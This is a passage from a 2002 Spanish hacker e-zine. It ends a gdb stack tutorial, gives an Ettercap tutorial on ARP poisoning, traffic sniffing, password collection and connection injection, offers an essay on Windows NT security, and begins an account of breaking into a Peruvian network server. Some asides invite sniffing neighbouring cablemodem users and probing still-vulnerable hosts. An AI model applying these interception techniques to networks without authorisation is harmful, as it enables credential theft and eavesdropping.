0x8048473 <main+67>: call 0x8048370 <printf>
Y bueno, para abreviar este ya extenso texto, se hace una llamada a printf,
con los registos requeridos por este; con lo cual se visualizara por pantalla
el tan 'buscado' numero '3' de nuestro ejemplo. Pueden verificar esto vosotros
mismos. YO ya estoy durmiendo con mi ojo izquierdo.
0x8048478 <main+72>: add $0x8,%esp
| %ebp | <-- $ebp = 0xbffffb58 = $esp
|-------------|
| |
0x804847b <main+75>: leave
0x804847c <main+76>: ret
End of assembler dump.
Y se acabo!!!...
* Despedida:
Para aquellos que no son muy doctos o que aun estan confusos respecto a estos
temas; los incentivo a practicar, investigar, leer y un largo etc. Es la unica
manera de aprender y lograr TODO lo que uno desea.
Si encuentran algun error, inconcordancia, falacia, o si teneis algun
comentario, pregunta o sugerencia; con gusto os atendere personalmente si me
escriben a mi e-mail.
Solo tengo lucides, para agradecer a todos vosotros la atencion prestada.
E**** dice:
la maquina.. tu pc... no es tu vida
vas a vivir.. con tu pc toda la vida
acaso?
(gdb) quit
<<::RareGaZz::>>
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
: : : :
RGZ_0A Sniffing con Ettercap (GNU/Linux) Sniffing Buanzo
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
Que tal! Soy Buanzo, muchos de ustedes ya me conocen, y otros no tanto.
Este es mi primer articulo como miembro del RareGaZz Team, el cual sigo y
conozco desde hace muchos a~os. Quiero decir que es un orgullo contar con la
compa~ia de todos los que hacemos y somos RareGaZz.
Listo, habiendo finalizada la tipica introduccion cursi, metamonos un poco
en tema, diciendo:
Aguante RareGaZz y los raredudez, CARAJO!
(Y bue, soy Argentino).
-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0
El ettercap es un programa muy piola que nos permite capturar el trafico que
circula por una LAN, ya sea que las PC's esten interconectadas por medio de
HUB's o de SWITCHES.
Me imagino que varios se sorprenderan cuando yo digo que se puede meter un
sniffer en un ambiente switcheado. Bueno, resulta que el ettercap, aparte de
ser un sniffer muy bueno, es tambien un excelente ARP poisoner. Si no
entienden lo que esto significa, no desesperen. Van a averiguarlo durante la
lectura de este articulito.
Ah! El ettercap tiene una interfaz grafica para consola, en modo texto, nada
de X, bastante piola y rapida una vez que nos aprendamos las teclas de
comando. De todas formas, en cada pantalla pueden presionar la 'h' (por
'H'elp, ayuda), y pueden volver atras o salir presionando 'q' (por 'q'uit).
El primer paso es, obviamente, bajar el ettercap.
A tal efecto, vamos a dirigir nuestro lynx, links o cualquier otro navegador
al sitio oficial de ettercap, en:
http://ettercap.sourceforge.net
A decir verdad, la URL a la pagina de Download es la siguiente:
http://ettercap.sourceforge.net/index.php?s=download
Si ustedes YA TIENEN un ettercap instalado, prueben directamente de ejecutar
el comando 'ettercap -v' que, aparte de mostrarnos la version que tenemos de
ettercap, nos pregunta si queremos ver si hay un actualizacion, y bajarla.
Tenemos que tener el wget instalado, por supuesto.
El sitio oficial del Wget es:
http://www.wget.org
Pueden bajarlo del FTP oficial en:
ftp://ftp.gnu.org/pub/gnu/wget/
En mi caso, yo tengo la version 0.6.4, veamos que pasa si hago 'ettercap -v':
root@INTRA:ettercap-0.6.4 # /usr/local/sbin/ettercap -v
Current version is : 0.6.4
Do you want to check for the latest version ? (y/n) y
Connecting to http://ettercap.sourceforge.net...
Requesting /latest.php...
You already have the latest ettercap release (0.6.4)
En mi caso, yo tengo la ultima version, al menos al momento de escribir este
articulo (27 de febrero, 2002).
Bueno, ahora que ya bajamos el ettercap, procederemos a desempaquetarlo,
configurar la compilacion, compilarlo e instalarlo, para luego compilar e
instalar los plugins.
1) Desempaquetado
La tipica:
root@INTRA:~ # tar -zxf ettercap-0.6.4.tar.gz
2) Configurar la compilacion
root@INTRA:~ # cd ettercap-0.6.4
root@INTRA:~/ettercap-0.6.4 # ./configure
3) Compilarlo
root@INTRA:~/ettercap-0.6.4 # make
4) Instalarlo
root@INTRA:~/ettercap-0.6.4 # make install
5) Compilar & Instalar los plugins
root@INTRA:~ # cd plugins
root@INTRA:~/ettercap-0.6.4/plugins # make install
Ahora, si todo anduvo bien, vamos a tener un lindo ettercap instalado y listo
para ser usado.
ATENCION!!!!!!!!!!!!!
Si ustedes son usuarios de CABLEMODEM van a poder divertirse bastante. Ustedes
prueben, nomas. En ADSL no van a poder hacer nada, lo mas seguro.
Bueno, en mi caso, yo tengo una peque~a intranet (mi cybercafe, en San Isidro,
con linux en algunas maquinas, por si alguno necesita... mandenme un email :).
Como les decia, en mi caso tengo un server con ADSL, dos placas de red (ifext,
e ifin, como les digo yo, por interfaz externa [=adsl], e interfaz interna
[=intranet]).
La interfaz interna tiene una mascara de subred (netmask, bue) de
255.255.0.0 (o sea, una clase B), por lo que me da 65535 hosts
aproximadamente. (255^2). Por tal motivo, en vez de ejecutar ettercap a secas,
vamos a pasarle el parametro "--netmask 255.255.255.0", lo que corresponde a
una clase C, para no tener que esperar mucho durante el ARP discovery, que es
el metodo que utiliza ettercap para encontrar que hosts estan, digamos,
online.
En mi caso, luego de ejecutar "ettercap --netmask 255.255.255.0" en el server
(10.0.0.1), obtengo una lista de 9 direcciones IP. Si se mueven por esta lista
veran que en la seccion de abajo se mostrara el nombre del host, la IP y la
MAC.
Por que puedo usar 255.255.255.0 como netmask? Porque yo uso direcciones IP de
10.0.0.1 a 10.0.0.11, como ven, solo el cuarto octeto se modifica. Por tal
motivo, la mascara puede ser 255.255.255.0
Esto del cambio de netmask lo hago solamente para que el ARP discovery tarde
menos, solo por eso. Por supuesto, podria iniciar solo con "ettercap", y
tambien me daria los mismos 9 hosts, al menos en MI caso particular. De
ustedes depende utilizar la netmask por defecto u otra.
Si a ustedes en verdad les interesa ciertas direcciones IP, pueden hacer esto:
# ettercap -H IP1,IP2,IP3
Con lo que el ARP discovery no se utilizara, y solo se hara un Reverse Lookup
en el DNS para obtener los nombres de host de esas IP.
Les vuelvo a recordar: En cada pantalla nueva que se encuentren, presionen la
tecla 'h', para ver los comandos disponibles.
Bueno, una vez dentro de la pantalla principal de ettercap, veremos que se nos
presenta una lista de direcciones IP activa, dispuestas en dos columnas
iguales. Con los cursores podemos movernos sobre esa lista de IP's, y a medida
que nos movemos podremos ver en la parte de abajo de la pantalla el nombre de
host y la direccion MAC (de la placa de red) correspondiente a dicha IP.
La columna de la izquierda nos permite, con ENTER, seleccionar una IP de
ORIGEN (=SOURCE), y en la derecha podremos seleccionar una IP de DESTINO
(=DEST).
Una vez seleccionado un PAR Origen/destino, podremos habilitar 3 modos
diferentes de sniffing, los cual analizaremos. Luego veremos que podemos
hacer una vez que estemos haciendo el sniffing en si.
Sniffing por IP (tecla "S", por 'S'tandard).
Sniffing por MAC (tecla "M", por 'M'AC).
Sniffing utilizando ARP Poisoning (tecla "A", por 'A'RP).
En la mayoria de los casos, yo recomiendo utilizar sniffing basado en MAC, ya
que el analisis del trafico se realiza a mas bajo nivel que TCP/IP, y por
lo tanto tenemos mayores probabilidades de encontrar lo que necesitamos. Por
supuesto, ustedes prueben entre IP y MAC, dependiendo de varios factores,
encontraran que uno u otro les proveen mayores O mejores resultados.
Luego nos queda el sniffing por ARP. Este lo van a utilizar cuando esten en
una intranet, y NO SE ESTEN EJECUTANDO EL SNIFFER en la maquina destino.
Ustedes diran: que gracia tiene ejecutar un sniffer en la maquina destino?
Bueno, en MI caso, la maquina destino es la 10.0.0.1, la cual actua como
compuerta de enlace para Internet del resto de las maquinas de la Intranet,
con lo que el 99% del trafico tiene como destino REAL a Internet, aunque
obligatoriamente tienen que pasar por 10.0.0.1 :).
En OTRO caso, por ejemplo, sniffing entre 10.0.0.1 y 10.0.0.7, pero nosotros
teniendo el sniffer en 10.0.0.3 (por ejemplo), deberiamos utilizar SI o SI
sniffing por ARP poisoning. El metodo ARP Poisoning consiste en 'envenenar'
(de alli su nombre) la tabla ARP, la cual indica como enrutar, o sea, como
deben viajar los datos en una red SWITCHEADA. Lo que hace el envenenamiento es
modificar la tabla ARP de tal manera que para llegar a 10.0.0.1, se deba pasar
antes por 10.0.0.3. (por ejemplo).
==============================================================================
ATENCION!!
Si NO hay un switch, pero hay un HUB (sea activo o pasivo), no es necesario
usar ARP Poisoning, ya que con solo poner la placa de red en modo promiscuo
(ettercap hace eso automaticamente), alcanza para ver los paquetes de la red.
==============================================================================
Bien, ahora que estan haciendo el sniffing en si, veran que la parte de arriba
de la pantalla dice el SOURCE en IP o en MAC, dependiendo del modo de sniffing
que hayamos utilizado, tambien nos dice si los filtros se encuentran
activados, etc. (Veremos mas de filtros mas adelante).
En la parte de abajo de todo veran vuestra IP (Your IP), la MAC de vuestra
interfaz de red actual (en mi caso es la interna, eth1), la interfaz (eth1) y
el tipo de vinculo detectado en la red: un SWITCH, en mi caso. Puede decir
HUB, por ejemplo. Si dice HUB, excelente, no necesitan hacer ARP Poisoning.
Luego, la seccion mas interesante, es la del medio que, si todo va bien, veran
lista de conecciones actualizandose permanentemente. Tambien veran la cantidad
de hosts en la red actual, junto a vuestra IP y netmask actuales.
Este listado de conecciones corresponde a trafico tcp o udp entre el SOURCE y
DEST que elejimos. La lista esta conformada por 5 columnas, de izquierda a
derecha, de la siguiente forma (les explico con un ejemplo (los IP se
modifican para evitar posibles ataques :)
1) 10.0.0.7:1863 <--> 64.z.y.x:1193 | ACTIVE | msnp
Bien, como pueden ver, la primer columna corresponde al numero de coneccion
interno que el ettercap toma, por supuesto, no tiene nada que ver con las
conecciones que 10.0.0.7 haya hecho antes de que iniciemos el sniffing, sino
que es, entonces, la primera
coneccion que se 've' desde que ettercap inicio
el sniff.
La segunda columna es un par IP:PUERTO de origen, o sea que es una coneccion
desde la IP que nosotros elejimos como origen (10.0.0.7, en mi ejemplo),
desde el puerto 1863.
La tercer columna corresponde, por lo tanto, al par IP:PUERTO correspondiente
a este enlace en particular. Como saben, las conecciones TCP o UDP necesitan
de al menos dos parametros: IP y puerto de destino de la coneccion o destino
de los datos, y una IP y puerto de origen (generalmente tomado al azar el
puerto, aunque puede ser especificado. Historicamente, si el usuario de origen
era root, entonces el puerto seguramente seria < 1024, y se tomaba que si una
coneccion venia desde un puerto 1024, era una coneccion 'segura', por haber
sido iniciada por root).
La cuarta columna indica el estado del vinculo: ACTIVE (activo) o silent
(silencioso), UDP, o CLOSED (cerrada). Pueden imaginar lo que indica cada uno,
no? :)
La quinta columna nos indica el protocolo: en este caso es msnp.... o sea,
MicroSoft Network Protocol. Es alguien chateando por MSN.
Y que podemos hacer con todo esto? Presionen 'h'. Veran que tienen una
interesante lista de comandos que pueden utilizar. Entre los mas importantes
para esta introduccion al ettercap, mencionaremos los siguientes:
<enter> : Para ver el trafico en la coneccion que seleccionemos. Tipicamente
lo que mas van a usar, al menos inicialmente.
O : Analisis pasivo de los hosts. Se identifica el sistema operativo,
marca del adaptador de red y otros datos.
K : 'matar' (finalizar) la coneccion.
D : resolver IP por DNS
R : 'refrescar' la lista de conecciones.
L : guardar en un archivo todos los passwords que se hayan detectado.
Esta es una funcion interna de ettercap, generalmente funciona
mejor cuando utilizamos el metodo ARP Poisoning. Se llaman 'Active
Password Collectors'.
Bien, ahora, presionemos <enter> sobre alguna coneccion. Veran que la seccion
de abajo (el cuadro de estado, digamos...) se actualiza acordemente, mostrando
protocolo (TCP, UDP) y applicacion (msnp).
Como veran, la seccion del medio de la pantalla ha cambiado de aspecto,
transformandose ahora en un par de ventanas. La de la izquierda corresponde a
datos que se envian desde el source (10.0.0.7:1863, en este ejemplo), y la de
la derecha corresponde a datos que se envian desde el destino (64.x.y.z:1193).
Debajo pueden ver en que formato se estan mostrando los datos. Inicialmente,
aca dira 'ASCII', pero puede decir 'TEXT' (se filtran los caracteres
no-imprimibles y solo se muestran los imprimibles) o 'HEX', se muestra todo en
hexadecimal. Muy piola para analisis de protocolo, ingenieria inversa, etc.
Ahora, presionen 'h'. Veran el cuadro de ayuda correspondiente al estado
actual: sniffing de una coneccion.
Como pueden ver, aparecen los tipicos comandos: TAB para moverse entre una y
otra ventana, pgup y pgdown (tambien los cursores up y down) para hacer scroll
hacia atras o adelante en la ventana actual. Luego estan otros comandos:
I : Injectar caracteres en la coneccion. [Solo en ARP Poisoning]
F : Editar las cadenas de filtrado [para mas adelante, pero
investiguen]
K : Matar la coneccion
A : Ver en modo ASCII
X : Ver en modo HEXadecimal
T : Mostrar solo caracteres legibles (filtrar binario, digamos)
J : Unir las dos ventanas en una sola (muestra en colores diferentes
el trafico de origen y destino, etc). En este modo no funciona el
injectado de caracteres, porque no se puede distinguir si queremos
injectar en origen o destino.
S : Detener la visualizacion (pausa? :)
L : Iniciar registro del trafico a un archivo
Por otra parte, el ettercap permite ser usado de forma no tan interactiva.
Esto lo hacemos directamente armando los parametros de sniffing en la linea de
comandos. "ettercap --help" nos muestra los comandos. Vean, tambien se
incluyen buenos ejemplos. Les recomiendo redirecciones la salida a un archivo,
con lo que podran leer los ejemplos y comandos, los cuales ahora les van a
resultar entendibles, luego de haber visto el uso 'interactivo' de esos
terminos.
Quiza se dieron cuenta de que hasta ahora no hable de los plugins. Bien, los
plugins son muchos, y la verdad algunos son bastante faciles de usar, por lo
que me gustaria que investiguen USTEDES con los plugins y con los filtros,
asi como tambien con la funcion 'Packet Forge', que nos permite armar un
paquete TCP/UDP como nosotros querramos. Espero vuestros comentarios tanto
por email como en la lista RareDudeZ!.
<<::RareGaZz::>>
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
: : : :
RGZ_0B Sistemas NT Seguros? Opinion NT Angel Protector
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
1. Prologo
2. Introduccion
3. Simplicidad y Comodidad
4. DESinformacion
5. Capacitacion / Conocimiento
6. NT o NT+Aplicaciones?
7. Conclusiones
8. Notas
1. Prologo
~~~~~~~~~~
Atencion, el presente texto bajo ningun punto de vista deberia ser
tomado como un texto tecnico acerca de Sistemas NT. El mismo solo intenta
expresar la opinion de su autor acerca de conceptos y preconceptos vertidos
habitualmente acerca de las caracteristicas de los sistemas windows
(Especificamente NT) respecto a su seguridad y confiabilidad.
De la misma forma el debate iniciado en el presente texto debera considerarse
el prologo de una serie de articulos que comenzaremos a desarrollar en los
proximos numeros, tanto conceptuales como practicos estos si de indole
netamete tecnicos.
Cabe aclarar que todo lo mencionado en este articulo presupone una
instalacion al menos con SP4 instalado... bueno que esperaban??? mmm esta
claro que un NT sin *al menos* un Service Pack 4... digamos que... no es un
sistema operativo...
2. Introduccion
~~~~~~~~~~~~~~~
Aun escucho retumbar en mis oidos las carcajadas de mis colegas al intentar
explicar hace aproximadamente tres a~os atras mi punto de vista respecto de
la siempre polemica lucha UNIX/LINUX vs Windows NT.
Por aquellos dias, al igual que en muchos ambitos en la actualidad, la
seguridad en sistemas operativos iba en camino completamente contrario a
Windows NT, y todo el que opinara en contra evidentemente era un Lamer.
Lo cierto es, para ser sinceros, que todos mirabamos a NT como algo
totalmente descalificador a la hora de implementar sistemas seguros.
Por aquella epoca, lo que me sobraban (Al igual que hoy..) eran dudas
principalmente referidas a la veracidad de los dichos de aquellos que
descalificaban sin mas las plataformas Windows NT.
Como era de esperar guiado por esa mala costumbre de ir contra la corriente
que me persigue desde la infancia, solo *para ver que sucede*, inverti gran
parte de mi tiempo en el aprendizaje e investigacion de plataformas Windows
NT.
Hoy, ya lejos de aquel primer avistaje y con poco mas de trescientas
implementaciones Windows NT en mi haber y algun que otro logro escrito en
papel, he vuelto al punto inicial para dejar sentado mi punto de vista acerca
de la seguridad de dichos sistemas operativos.
Como todo punto de vista, el mismo tan solo intenta reflejar mi experiencia
en dicho campo, e imagino que desencadenara una serie de opiniones
encontradas en aquellos que lean este articulo, lo cual no hace mas que
alentarme a seguir con el, pues estoy convencido que esta es la forma de
avanzar hacia el futuro, intercambiando opiniones y marcando aquellas
coincidencias que puedan generar conciencia o colaborar de una u otra forma
con nuestra comunidad informatica.
3. Simplicidad y Comodidad
~~~~~~~~~~~~~~~~~~~~~~~~~~
Si NT tubo un enemigo desde sus comienzos (Aparte del propio Microsoft...
obvio), este fue sin lugar a dudas la aparente *simplicidad* de su
instalacion y puesta en marcha (sumado al marketing que apuntalaba dichas
ventajas?)
Puesto que en mi opinion este es uno de los puntos fundamentales por el cual
la plataforma Windows ha sido (Y sigue siendo) tildada como insegura por el
publico en general, es que he decidido comenzar este articulo, enumerando
como este punto colabora al mal comun.
Haber, para empezar, digame... conoce a algun usuario basico, por ejemplo
uno que haya instalado alguna vez un Office o cualquier otro software, que no
sea capaz de presionar el ENTER despues de insertar un cd de instalacion de
Windows NT? que? te parece estupido lo que digo? pues es asi de sencillo..
haber .. repasemos:
--- Representacion ----------------------------------------------------------
a.Bootear con el CD de Windows NT para que el setup arranque en forma
automatica (En la mayoria de los casos)
b.Presionar ENTER luego que NT reconozca nuestros discos, SCSI, etc.
c.Presionar ENTER luego de que NT presente la configuracion de hardware
detectada.
d.Configurar las particiones (O aceptar la que se propone por defecto)
e.Seleccionar el tipo de File System y luego el directorio de instalacion.
f.Esperar a que termine la copia de los archivos al server para luego
Bootear.
g.Seguir paso a paso las instrucciones del wizard (?) el cual solicitara la
obtencion de informacion:
-Nombre de la organizacion.
-Modo de licenciamiento.
-Nombre de computadora.
-Tipo de Servidor (PDC/BDC/MEMBER)
-Seteo de la cuenta de administrador local.
-Generacion de los Emergency Repair Disk.
-Componentes adicionales.
i.Continuar con la instalacion de Networking.
-Seleccion del tipo de conexion (Conectar o no a la red, tanto sea
local o remota)
-Solicitud de instalar IIS.
-Seleccion de la NIC.
-Seleccion de protocolos.
-Seleccion de servicios de red.
-Ajuste de los bindings ente los protocolos y las nic.
-Solicitud de union al dominio.
j.Instalacion finalizada... mmm... en realidad falta solo configurar la placa
de video, las propiedades de Time Zone y Date/Time.
h.Instalar algun Service Pack (Al menos el 4!!!!!!!)
Bueno.. no fue nada complicado no es cierto? ok.. reconozco que para que al
menos el server quede *operativo* se requerira conocer algo de networking
para setear lo que tenga que ver con conectividad (Placa de red y
Protocolos), pero no crea que hara falta algo mas que esto.
Ahora bien.. acto seguido.. agarramos una terminal windows 9x instalamos el
cliente para redes Microsoft y... estamos conectados... ja ok ahora ya
estamos en condiciones de compartir el disco del server para poder acceder
facilmente a todos los recursos!!.
Mmmm... seleccionamos el disco del server, boton derecho... compartir..
ponemos el nombre del recurso compartido... listo... a conectarse!!
Ups.. ahora le toca el turno a nuestra intranet.. ok.. haber... como dice el
manual mmmm... no muy complicado... haber... algun how-to ... a si este...
*como instalar su web server en cinco minutos* bien!.
Sip... entro aqui... Internet Information Server... haber... sitio por
defecto... aleluya... si pongo un html aqui.. ya puedo browsearlo desde la
red!!! perfecto... listo... a no ... ahora tendre que ponerlo bonito...
ok... trabajaremos con ello... mmm haber... extensiones de front page... si,
bueno... ahi quedo... eso si habra que mantenerlo... el trabajo que nos dara
embellecer esta Home Page!!. (sic)
--- Fin Representacion ------------------------------------------------------
Bien, obviamente los parrafos anteriores son una satira aunque... les puedo
asegurar que inspirada plenamente en hechos reales.
La sencillez tipica de los entornos Windows no hacia/hace otra cosa que
incentivar a mucha gente a animarse a realizar tareas de instalacion,
administracion y mantenimiento de redes cuando verdaderamente no estan
capacitados para ejercer dicha funcion o realizar este tipo de tareas.
Pero.. entonces?? todos las empresas que eligieron Windows NT como sistema
operativo padecen las mismas circunstancias? bueno.. por supuesto que no,
siempre hay excepciones, aunque por lo que solemos ver a diario, quizas sean
mas los administradores de sistemas NT que no poseen el conocimiento adecuado
para el perfil solicitado, que los encontrados en otras plataformas.
Haber... ejemplos.. para que se entienda el punto de vista, es muy comun que
aquellas empresas en las que se encuentra un departamento de sistemas de
informacion reducido, alguno de los miembros tome (O le asignen) como *parte
de sus tareas*, la administracion de los servidores NT, cuando en
contraposicion a esto y debido inicialmente al tipo de empresas a las que
estan o estaban orientados los sistemas UNIX ven como inevitable la inclusion
dentro del staff de tecnologia, de personal idoneo en la administracion de
estos sistemas.
Aun le suena raro lo comentado en los parrafos anteriores?
4. DESinformacion
~~~~~~~~~~~~~~~~~
Como no podia ser de otra forma, otro flagelo que apuntala la creencia acerca
de lo inseguro de los sistemas NT, se basa ni mas ni menos en la
DESinformacion que posee gran parte de la comunidad informatica en general y
la de NT en particular.
Si ya se... seguro estara diciendo... pero como puede ser? si yo estoy
informado... que dice este tipo... bueno... a las pruebas me remito...
citemos solo un caso... todos recordaran los famosos Nimda, Code Red, Code
Blue, Unicode/Decode, etc... usted me creeria que aun hoy... despues de
pasada la tormenta aun se sigan encontrando sistemas vulnerables respecto a
estos temas? bueno... lo invito a comprobarlo personalmente... vera que me
dara la razon (Es mas... seguramente tambien se divertiran un poco...)
Dicho esto... me pregunto... solo es culpa de Microsoft y de NT??? bueno
lamento desilusionarlo... pues la respuesta es NO. Errores se encuentran y
encontraran en TODAS las plataformas (UNIX/LINUX/WIN/AS) y la verdad es que
las empresas suelen lanzar los correspondientes parches o arreglos o
workaround con bastante rapidez (Aunque para nosostros nuca sea demasiado
rapido)
Lo que sucede, y esto esta totalmente comprobado, es que el delay que se
produce entre el lanzamiento de un parche y la implementacion del mismo, en
la mayoria de los casos es superior al tiempo sucedido desde la misma
publicacion del bug a la emision del correspondiente arreglo por parte del
proveedor del software.
Lo cierto es que continuando con lo expresado en el parrafo anterior, creo
que debemos considerar al administrador como parte totalmente responsable al
momento de evaluar la seguridad de un sistema en si.
5. Capacitacion / Conocimiento
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Bueno... veo que estamos llegando al fin de este articulo... o al menos a una
de las bases de todos los cuestionamientos.
Seguramente, ninguna empresa aeronautica, dejaria a un piloto con pocas horas
de vuelo volar un avion de linea, o si? y entonces por que se contratan
administradores sin experiencia?
Tampoco creo que empresas dedicadas al consumo masivo no capaciten a sus
empleados en tecnicas de venta... pero... se asigna presupuesto en
capacitacion a los empleados de un departamento de IT? en que medida?
Convengamos en que no se necesita poseer certificaciones Microsoft (MCSE,
MCSE+I, MCP, MCP+i, MCA, etc) a la hora de administrar sistemas windows, de
la misma forma que no se necesita estar certificado en CISCO para configurar
la linea *8xx Series* o *Catalyst 2xxx* pero seguramente ira todo mejor
estando capacitado en las tecnologias a implementar, que siendo un entusiasta
o un improvisado al momento de tomar este tipo de responsabilidades.
Este es otro punto que se relaciona inevitablemente con lo expuesto a lo
largo de este texto. Es que...mmm haber... muchas empresas y profesionales
independientes consideran que al ser Windows un sistema operativo de interfaz
grafica el mismo puede ser administrado con un minimo de conocimientos, y
esto no pasa en entornos UNIX... sus profesionales estan cultivados en otro
ambito, por lo general es gente con una filosofia diferente, producto de la
evolucion misma de los sistemas UNIX/LINUX en los ultimos tiempos...
solamente el hecho de haber tenido que editar cientos de archivos de
configuracion o armar montones de ascii conteniendo ipchains, hace que uno
deba conocer mas a fondo lo que esta haciendo.
Creer que un profesional que administra plataformas windows, no debe
preocuparse por conocer el *funcionamiento interno* del mismo, es una
tremenda estupidez!! que lamentablemente sucede mas a menudo en la comunidad
Windows que en el resto.
Solo porque hay lindos desplegables que nos lleven a bonitas pantallas y que
hagan muchas cosas por nosotros en forma automatica, no es excusa para no
conocer la estructura interna de la registry, las herramientas del resource
kit, los conceptos de dominio o AD, la funcionalidad de ISAPI, las reglas
manuales a aplicar en un Proxy, las vulnerabilidades respecto de los sistemas
de contrase~as heredados (Lan Manager), netbios y sus contras, la
implementacion de politicas y perfiles, la implementacion de parches, el
cierre de puertos,uff... no se, tantas cosas...
En definitiva, es mas que obvio que los conocimientos plenos de las
herramientas nos dan a nosotros mismos la seguridad que solo brinda el saber,
y dicho conocimiento puesto sobre Windows/Unix/Linux o lo que fuera...
siempre dara sus frutos
6. NT o NT+Aplicaciones?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Muchas veces oimos que tal o cual sistema NT es vulnerable o tiene
determinado fallo de seguridad... ahora... alguna vez se puso a pensar si
tecnicamente es un fallo de NT o de alguna de las tantas aplicaciones
instaladas sobre el software de base??
Es muy importante que quien implementa sistemas NT conozca en detalle los
pasos a seguir para actualizar sus sistemas con las diferentes aplicaciones
que comunmente se montan sobre ellos (SQL, EXCHANGE, PROXY, etc) pero
realmente los Administradores se preocupan por esto?
Lamentablemente Windows como tantas otras plataformas (O quizas mas) tiene
cientos de workaround... es decir... muchas veces se requiere instalar
componentes en un orden predeterminado (Muchas veces el mismo es
inexplicable!).
Una instalacion que no se realiza en el orden adecuado termina abriendo
muchas veces una serie de brechas de seguridad, las cuales en algunos casos
no tienen solucion salvo reinstalando todo (sip todo...) nuevamente pero en
el orden adecuado.
He aqui otro complemento que muchas veces hace que sistemas NT que en
determinados momentos fueron seguros, luego de instalar sobre el alguna nueva
aplicacion, se enciendan como arboles de navidad!! (Y ojo... esto en algunos
casos llego a suceder incluso con los propios parches enviados por
Microsoft!!!... si escucho bien lamentablemente esta empresa pareceria
llevar la delantera en lo que a *regresion de vulnerabilidades* se refiere).
Lo que intento exponer en este apartado, no es ni mas ni menos que cada
aplicacion en particular (MS-Proxy, MS-Exchange, MS-SQL, software antivirus
corporativo, sistemas IDS, etc) cuenta con sus propias vulnerabilidades, mas
alla del sistema operativo, las cuales deben ser cuidadosamente estudiadas
por cualquier administrador de sistemas... pues... bueno... convengamos que
no habria nada mejor que un especialista en cada aplicacion... pero en que
cantidad de empresas se encuentra esta situacion? es por eso que en la
mayoria de las veces el asegurar una plataforma no depende necesariamente del
sistema operativo, sino de tomar la palabra *sistema* con la amplitud que
esta merece.
7. Conclusiones
~~~~~~~~~~~~~~~
A continuacion y habiendo comentado alguno de los puntos que a mi entender
tienen mas incidencia en la comentada inseguridad por parte de lo sistemas
Windows, indicare algunos puntos a modo de resumen.
- Los sistemas NT pueden ser tan seguros como cualquier otro sistema
operativo, depende de las manos en las que caiga.
- Un sistema windows NT antes de SP4 (minimamente) es un agujero en si mismo.
- Si me pregunta que es lo que me gustaria para windows en el futuro y
bueno... so~emos... creo que lo que mas necesitaria Windows seria una
comunidad de usuarios como la que tiene Linux (Admirable) y por supuesto
... el open source!! (Que mas?)
- NT (Al igual que cualquier sistema operativo) requiere ser administrado por
ADMINISTRADORES con conocimientos.
- A pesar de que los tiempos de respuesta de Microsoft respecto a los fallos
detectados, en muchas ocasiones deja mucho que desear... el verdadero
riesgo se da en el tiempo que los administradores tardan hasta llevar a
cabo el procesamiento del correspondiente arreglo!!
- A pesar de lo sencillo que pueda parecer a simple vista, Windows es un
sistema sumamente complejo en su concepcion lo que hace que no alcance con
saber lo basico para administrarlo correctamente.
- No se puede considerar administrador de NT si no utiliza el Microsoft
Resource Kit (Tambien llamado Microsoft Hacking Kit, ya veremos por que en
otro articulo).
- Ningun sistema NT (o cualquier otro) estara nunca cien por cien seguro...
eso lo sabemos... pero menos si el administrador no lo mantiene o se
mantiene actualizado (foros, listas de distribucion, etc..)
- No existen buenos y malos. Se debe ser lo suficientemente profesional como
para discernir el sistema operativo a aplicar segun las circunstancias y la
solucion a brindar. Asunto para el cual es necesario ser abierto y poseer
conocimiento al menos, de los sistemas operativos mas utilizados, lo cual
no suena facil verdad?.
- Por muy extra~o que a algunos le parezca, Windows incorpora en su
estructura y desde su creacion, una serie de features de seguridad muy
ventajosas para quienes saben aprovecharlas.
Se sorprenderia al saber lo poderoso que puede ser un sistema NT bien
configurado.
Permisos NTFS, seguridad orientada a objetos, utilidades de refuerzo de
contrase~as (estas ultimas en el resource kit), aislado de procesos en
memoria y tantas otras caracteristicas y funcionalidades, estan esperando
ser utilizadas de la forma correcta, no desaprovechemos esta oportunidad.
- La tarea de asegurar un sistema NT requiere verificar TODAS y cada una de
las aplicaciones montadas sobre el. No alcanza con instalar los SP de NT si
luego arrojamos encima un IIS mal configurado...
8. Notas
~~~~~~~~
- El presente texto podria estar plagado de evaluaciones de terceros acerca
de la funcionalidad, seguridad, caracteristicas y demas comparativas entre
los sistemas windows/Unix-linux. Lo cierto es que no es esta, la intencion
del presente articulo.
Seguramente se podran encontrar unos cuantos links en donde se se~ale como
ganador (?) a uno u otro contendiente (?) pero... debe haber en realidad un
ganador?? puede haberlo??
Bueno.. igualmente quien guste de comparativas, seguramente podra obtener
unas cuantas utilizando su buscador favorito bajo la clave *Linux vs
Windows*.
- Espero recibir su comentario en mi casilla de correo, o mejor aun quizas
nos encontremos en el irc para atender vuestros puntos de vista.
Angel Protector
<<::RareGaZz::>>
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
: : : :
RGZ_0C Red Cientifica Peruana y YO Cracking ReYDeS
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
-> Pulgar.
1. Unas palabras.
2. El objetivo.
3. Como ingresar?.
4. Estamos dentro!.
5. Descubriendo.
6. Saliendo.
7. Final.
-> Los datos del texto pueden haber sido MANIPULADOS maliciosamente <-
1. Unas palabras:
El presente texto, narra el ingreso a un servidor de la Red Cientifica
Peruana; cabe acotar que este servidor NO existe ahora en su forma expuesta en
el presente texto.
NO pretendo insitar a nadie a hacer algo parecido a lo que muestro. El
ingreso a un servidor sin autorizacion es 'ilegal' y ni que decir a lo que
conlleva la manipulacion, substraccion y un largo etc. de datos.
Cada uno es libre de hacer y pensar lo que desee.
Esto ocurrio hace casi TRES a~os atras...
2. El Objetivo:
En aquellas epocas ya habia 'estudiado' a la mayoria de servidores de la
Universidad en la cual estudiaba; era el momento de ir por un objetivo
'grande'; la curiosidad por utilizar un sistema UNIX, me tenia intranquilo. Lo
unico que sabia de este servidor, era eso mismo, que era algun 'Unix' y que su
seguridad 'tenia' que ser Maxima, por la importancia de este servidor. Poco
tiempo tuvo que pasar para demostrarme lo contrario.
3. Como ingresar?
Como dije; teoricamente era un servidor seguro; y de hecho, externamente
